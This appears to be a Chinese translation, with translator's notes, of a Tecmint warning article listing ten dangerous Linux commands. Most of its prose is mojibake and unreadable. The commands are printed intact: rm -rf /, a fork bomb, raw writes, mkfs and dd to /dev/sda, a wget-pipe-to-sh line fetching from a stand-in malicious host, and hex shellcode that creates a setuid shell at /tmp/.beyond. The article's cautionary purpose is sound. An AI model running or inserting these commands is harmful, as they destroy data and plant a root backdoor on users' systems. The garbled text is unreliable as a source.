『壹』 Linux鎵ц岀殑10涓鏈鍗遍櫓鐨勫懡浠ゆ槸鍝浜
Linux鍛戒護琛屼椒鏈夌敤銆佸緢楂樻晥錛屼篃寰堟湁瓚ｏ紝浣嗘湁鏃跺欎篃寰堝嵄闄╋紝灝ゅ叾鏄鍦ㄤ綘涓嶇『瀹氫綘鑷宸卞湪姝ｅ湪鍋氫粈涔堟椂鍊欍傝繖綃囨枃絝犲苟涓嶆墦綆楀紩鏉ヤ綘瀵筁inux鎴杔inux鍛戒護琛岀殑鎰ゆ掋傛垜浠鍙鏄鎯寵╀綘鎰忚瘑鍒板湪浣犺繍琛屾煇浜涘懡浠ゆ椂搴旇ヤ笁鎬濊屽悗琛屻傦紙璇戞敞錛氬綋鐒訛紝浠ヤ笅鍛戒護閫氬父閮芥槸鍦╮oot鏉冮檺涓嬫墠鑳藉皢鎰氳牏鍙戞尌鍒版棤鍙鏁戣嵂錛涘湪鏅閫氱敤鎴瘋韓浠戒笅錛岀牬鍧忕殑鍙鏄鑷宸辯殑涓浜╀笁鍒嗗湴銆傦級
1. rm -rf鍛戒護
rm -rf鍛戒護鏄鍒犻櫎鏂囦歡澶瑰強鍏跺唴瀹規渶蹇鐨勬柟寮忎箣涓銆備粎浠呬竴涓佺偣鐨勬暡閿欐垨鏃犵煡閮藉彲鑳藉艱嚧涓嶅彲鎮㈠嶇殑緋葷粺宕╁潖銆備笅鍒楁槸涓浜況m鍛戒護鐨勯夐」銆
rm銆鍛戒護鍦↙inux涓嬮氬父鐢ㄦ潵鍒犻櫎鏂囦歡銆
rm -r鍛戒護閫掑綊鐨勫垹闄ゆ枃浠跺す錛岀敋鑷蟲槸絀虹殑鏂囦歡澶廣傦紙璇戞敞錛氫釜浜鴻や負姝ゅ勫簲璇ユ槸璇撮敊浜嗭紝浠庡父璇嗙湅錛屽簲璇ユ槸鈥滅敋鑷蟲槸闈炵┖鐨勬枃浠跺す鈥濓級
rm -f鍛戒護鑳戒笉緇忚繃璇㈤棶鐩存帴鍒犻櫎鈥樺彧璇繪枃浠垛欍傦紙璇戞敞錛歀inux涓嬪垹闄ゆ枃浠跺苟涓嶅湪涔庤ユ枃浠舵槸鍚︽槸鍙璇葷殑錛岃屽彧鏄鍦ㄦ剰鍏剁埗鐩褰曟槸鍚︽湁鍐欐潈闄愩傛墍浠ワ紝-f榪欎釜鍙傛暟鍙鏄琛ㄧず涓嶅繀涓涓涓鍒犻櫎紜璁わ紝鑰屾槸涓寰嬫倓鎮勫垹闄ゃ傚彟澶栵紝鍘熷嬬殑rm鍛戒護鍏跺疄涔熸槸娌℃湁鍒犻櫎鎻愮ず鐨勶紝鍙鏄涓鑸鐨勫彂琛岀増閮戒細灝唕m閫氳繃鍒鍚嶇殑鏂瑰紡澧炲姞-i鍙傛暟鏉ヨ佹眰鍒犻櫎紜璁わ紝鑰-f鍒欐姂鍒朵簡榪欎釜鎻愮ず銆傦級
rm -rf / :寮哄埗鍒犻櫎鏍圭洰褰曚笅鎵鏈変笢涓溿傦紙灝辨槸璇村垹闄ゅ畬姣曞悗錛屼粈涔堜篃娌℃湁浜嗐傘傘傦級
rm -rf *:銆寮哄埗鍒犻櫎褰撳墠鐩褰曠殑鎵鏈夋枃浠躲
rm -rf . :寮哄埗鍒犻櫎褰撳墠鏂囦歡澶瑰強鍏跺瓙鏂囦歡澶廣
浠庣幇鍦ㄨ搗錛屽綋浣犺佹墽琛宺m -rf鍛戒護鏃惰風暀蹇冧竴鐐廣傛垜浠鍙浠ュ湪鈥.bashrc鈥濇枃浠跺光榬m鈥樺懡浠ゅ壋寤簉m -i鐨勫埆鍚嶏紝鏉ラ勯槻鐢ㄢ榬m鈥樺懡浠ゅ垹闄ゆ枃浠舵椂鐨勪簨鏁咃紝瀹冧細瑕佹眰浣犵『璁ゆ瘡涓涓鍒犻櫎璇鋒眰銆傦紙璇戞敞錛氬ぇ澶氭暟鍙戣岀増宸茬粡榪欐牱鍋氫簡錛屽傛灉榪樻病鏈夛紝璇瘋繖鏍峰仛錛屽苟鍦ㄤ嬌鐢-f鍙傛暟鍓嶄竴瀹氳冭檻濂戒綘鍦ㄥ仛浠涔堬紒璇戣呮湰浜烘湁鐫琛娉鐨勬暀璁鍟娿傦級
2. :(){:|:&};:鍛戒護
榪欏氨鏄涓猣ork鐐稿脊鐨勫疄渚嬨傚叿浣撴搷浣滄槸閫氳繃瀹氫箟涓涓鍚嶄負鈥:鈥樼殑鍑芥暟錛屽畠浼氳皟鐢ㄨ嚜宸變袱嬈★紝涓嬈″湪鍓嶅彴鍙︿竴嬈¤繍琛屽湪鍚庡彴銆傚畠浼氬弽澶嶇殑鎵ц屼笅鍘葷洿鍒扮郴緇熷穿婧冦
:(){:|:&};:鍝︼紵浣犵『璁や綘瑕佽瘯璇曚箞錛熷崈涓囧埆鍦ㄥ叕鍙告ｅ紡鐨勬湇鍔″櫒涓婂疄楠屽晩~~
3.鍛戒護銆> /dev/sda
涓婂垪鍛戒護浼氬皢鏌愪釜鈥樺懡浠も樼殑杈撳嚭鍐欏埌鍧楄懼/dev/sda涓銆傝ユ搷浣滀細灝嗗湪鍧楄懼囦腑鐨勬墍鏈夋暟鎹鍧楁浛鎹涓哄懡浠ゅ啓鍏ョ殑鍘熷嬫暟鎹錛屼粠鑰屽艱嚧鏁翠釜鍧楄懼囩殑鏁版嵁涓㈠け銆
4. mv鏂囦歡澶/dev/null
榪欎釜鍛戒護浼氱Щ鍔ㄦ煇涓鈥樻枃浠跺す鈥樺埌/dev/null銆傚湪Linux涓/dev/null鎴杗ull璁懼囨槸涓涓鐗規畩鐨勬枃浠訛紝鎵鏈夊啓鍏ュ畠鐨勬暟鎹閮戒細琚娓呴櫎錛岀劧鍚庤繑鍥炲啓鎿嶄綔鎴愬姛銆傦紙璇戞敞錛氳繖灝辨槸榛戞礊鍟娿傚綋鐒訛紝瑕佽存槑鐨勬槸錛岄氳繃灝嗘枃浠跺す縐誨姩鍒伴粦媧烇紝騫朵笉鑳介樆姝㈡暟鎹鎮㈠嶈蔣浠剁殑鏁戣祹錛屾墍浠ワ紝鐪熸ｇ殑褰誨簳姣佺伃錛岄渶瑕侀噰鐢ㄤ笓鐢ㄧ殑杞浠舵垨鑰呮墜娉曟潵瀹屾垚鈥斺旀垜鐭ラ亾浣犺偗瀹氭湁浜涗笢瑗挎兂鍒犻櫎寰楀共騫插噣鍑鐨勩傦級
# mv /home/user/* /dev/null涓婂垪鍛戒護浼氬皢User鐩褰曟墍鏈夊唴瀹圭Щ鍔ㄥ埌/dev/null錛岃繖鎰忓懗鐫鎵鏈変笢瑗塊兘琚鈥樺嵎鍏モ欓粦媧炪(null)涔嬩腑銆
5. wget http://malicious_source -O- | sh
涓婂垪鍛戒護浼氫粠涓涓錛堜篃璁告槸錛夋伓鎰忔簮涓嬭澆涓涓鑴氭湰騫舵墽琛屻俉get鍛戒護浼氫笅杞借繖涓鑴氭湰錛岃宻h浼氾紙鏃犳潯浠剁殑錛夋墽琛屼笅杞戒笅鏉ョ殑鑴氭湰銆
娉ㄦ剰:浣犲簲璇ユ椂鍒繪敞鎰忎綘涓嬭澆鍖呮垨鑴氭湰鐨勬簮銆傚彧鑳戒嬌鐢ㄩ偅浜涗粠鍙淇′換鐨勬簮涓涓嬭澆鑴氭湰/紼嬪簭銆傦紙璇戞敞錛氭墍浠ワ紝浣犵湡鐨勭煡閬撲綘鍦ㄥ仛浠涔堝悧錛熷綋閬囧埌榪欑嶉渶瑕佹槸錛屾垜鐨勫仛娉曟槸錛屽厛wget涓嬫潵錛岀劧鍚庢垜鍘昏諱竴璇誨叾涓鍒板簳鍐欎簡浜涗粈涔堬紝鐒跺悗鑰冭檻鏄鍚︽墽琛屻傦級
6. mkfs.ext3 /dev/sda
涓婂垪鍛戒護浼氭牸寮忓寲鍧楄懼団榮da鈥欙紝浣犳棤鐤戠煡閬撳湪鎵ц屼笂鍒楀懡浠ゅ悗浣犵殑鍧楄懼(紜鐩橀┍鍔ㄥ櫒)浼氳鏍煎紡鍖栵紝宕鏂扮殑!娌℃湁浠諱綍鏁版嵁錛岀洿鎺ヨ╀綘鐨勭郴緇熻揪鍒頒笉鍙鎮㈠嶇殑闃舵點傦紙璇戞敞錛氶氬父涓嶄細鐩存帴浣跨敤/dev/sda榪欐牱鐨勮懼囷紝闄ら潪鏄浣滀負raw璁懼囦嬌鐢錛屼竴鑸閮介渶瑕佸皢sda鍒嗘垚綾諱技sda1銆乻da2榪欐牱鐨勫垎鍖哄悗鎵嶄嬌鐢ㄣ傚綋鐒訛紝鏃犺轟綘浣跨敤sda榪樻槸sda1錛岃繖鏍峰瑰潡璁懼囨垨鍒嗗尯榪涜宮kfs閮芥槸姣佺伃鎬х殑錛屼笂闈㈢殑鏁版嵁閮戒細琚钂稿彂浜嗐傦級
7. > file
涓婂垪鍛戒護甯哥敤鏉ユ竻絀烘枃浠跺唴瀹癸紙璇戞敞錛氶氬父涔熺敤浜庤板綍鍛戒護杈撳嚭銆備笉榪囪峰湪鎵ц屽墠錛岀『璁よ緭鍑虹殑鏂囦歡鏄絀虹殑鎴栬呰繕涓嶅瓨鍦錛屽惁鍒欏師鏉ョ殑鏂囦歡鍙鐪熸槸鎮㈠嶄笉浜嗕簡鈥斺旇繛鏁版嵁鎮㈠嶈蔣浠墮兘鏈蹇呰兘甯鍔╀綘浜嗐傚彟澶栵紝鎴戞兂浣犲彲鑳界湡姝ｆ兂鐢ㄧ殑鏄鈥>>鈥濓紝鍗崇瘡鍔犳柊鐨勮緭鍑哄埌鏂囦歡錛岃屼笉鏄鍒鋒柊閭ｄ釜鏂囦歡銆傦級銆傚傛灉鐢ㄤ笂鍒楁墽琛屾椂杈撳叆閿欒鎴栨棤鐭ョ殑杈撳叆綾諱技鈥> xt.conf鈥濄鐨勫懡浠や細瑕嗙洊閰嶇疆鏂囦歡鎴栧叾浠栦換浣曠殑緋葷粺閰嶇疆鏂囦歡銆
8. ^foo^bar
榪欎釜鍛戒護鍦ㄦ垜浠鍗佷釜椴滀負浜虹煡鐨凩inux鍛戒護- Part 3涓鎻忚堪榪囷紝鐢ㄦ潵緙栬緫鍏堝墠榪愯岀殑鍛戒護鑰屾棤闇閲嶆墦鏁翠釜鍛戒護銆備絾褰撶敤foobar鍛戒護鏃跺傛灉浣犳病鏈夊交搴曟鏌ユ敼鍙樺師濮嬪懡浠ょ殑椋庨櫓錛岃繖鍙鑳藉艱嚧鐪熸ｇ殑楹葷儲銆傦紙璇戞敞錛氫簨瀹炰笂錛岃繖縐嶅皬鎶宸ф槸璇戣呰や負鐨勶紝灝戞暟鍙插墠鏃朵唬閬楃暀涓嬫潵鐨勬棤鐢ㄨ屾湁瀹崇殑鈥滈粦瀹⑩濇妧宸с傦級
9. dd if=/dev/random of=/dev/sda
涓婂垪鍛戒護浼氬悜鍧楄懼噑da鍐欏叆闅忔満鐨勫瀮鍦炬枃浠朵粠鑰屾摝鍑烘暟鎹銆傚綋鐒訛紒浣犵殑緋葷粺鍙鑳介櫡鍏ユ販涔卞拰涓嶅彲鎮㈠嶇殑鐘舵併傦紙璇戞敞錛氳板緱涓婇潰璇磋繃mv鍒伴粦媧炲苟涓嶈兘褰誨簳鍒犻櫎鏁版嵁涔堬紵閭ｄ箞榪欎釜鍛戒護灝辨槸緇欎簡浣犱竴涓褰誨簳鍒犻櫎鐨勬柟娉曪紒褰撶劧涓轟簡淇濋櫓璧瘋侊紝浣犲彲浠ヨ嗗啓澶氭°傦級
10.闅愯棌鍛戒護
涓嬮潰鐨勫懡浠ゅ叾瀹炲氨鏄涓婇潰絎涓涓鍛戒護(rm -rf)銆傝繖閲岀殑浠ｇ爜鏄闅愯棌鍦ㄥ嶮鍏榪涘埗閲岀殑,涓涓鏃犵煡鐨勭敤鎴峰彲鑳藉氨浼氳鎰氬紕銆傚湪緇堢閲岃繍琛屼笅闈㈠懡浠ゅ彲鑳戒細鎿﹂櫎浣犵殑鏍瑰垎鍖恆
榪欎釜鍛戒護琛ㄦ槑閫氬父鐪熸ｇ殑鍗遍櫓鏄闅愯棌鐨勶紝涓嶄細琚杞繪槗鐨勬嫻嬪埌銆備綘蹇呴』鏃跺埢鐣欏績浣犲湪鍋氫粈涔堢粨鏋滀細鎬庢牱銆備笉瑕佺紪璇/榪愯屼粠鏈鐭ユ潵婧愮殑浠ｇ爜銆
char esp[] __attribute__ ((section(鈥.text鈥))) /* e.s.p
release */
=鈥ë>[1ÀPTZƒ矛dh鈥
鈥ÿÿÿÿhßÐßÙh™鈥
鈥ßh鈥ßÒT^梅梅鈥
鈥淰梅V梅VƒÄtV鈥
鈥渟VSTY擄Í€1鈥
鈥À@ë霉貓½ÿÿÿ/bi鈥
鈥渘/sh-c鈥
鈥渃p -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;鈥;娉ㄦ剰:涓嶈佸湪浣犵殑鎴栦綘鐨勫悓瀛︽垨瀛︽牎鐨勭數鑴戦噷鐨凩inux緇堢鎴朣hell鎵ц屼互涓婄殑浠諱綍涓涓鍛戒護銆傚傛灉浣犳兂嫻嬭瘯瀹冧滑錛岃峰湪鉶氭嫙鏈轟笂榪愯屻備換浣曚笉鍜岃皭鎴栨暟鎹涓㈠け錛岀敱浜庤繍琛屼笂闈㈢殑鍛戒護瀵艱嚧浣犵殑緋葷粺宕╂簝錛屾枃絝犱綔鑰呭拰Tecmint姒備笉璐熻矗銆傦紙璇戞敞錛氳瘧鑰呭拰杞杞界綉絝欎篃涓嶈礋璐~錛侊級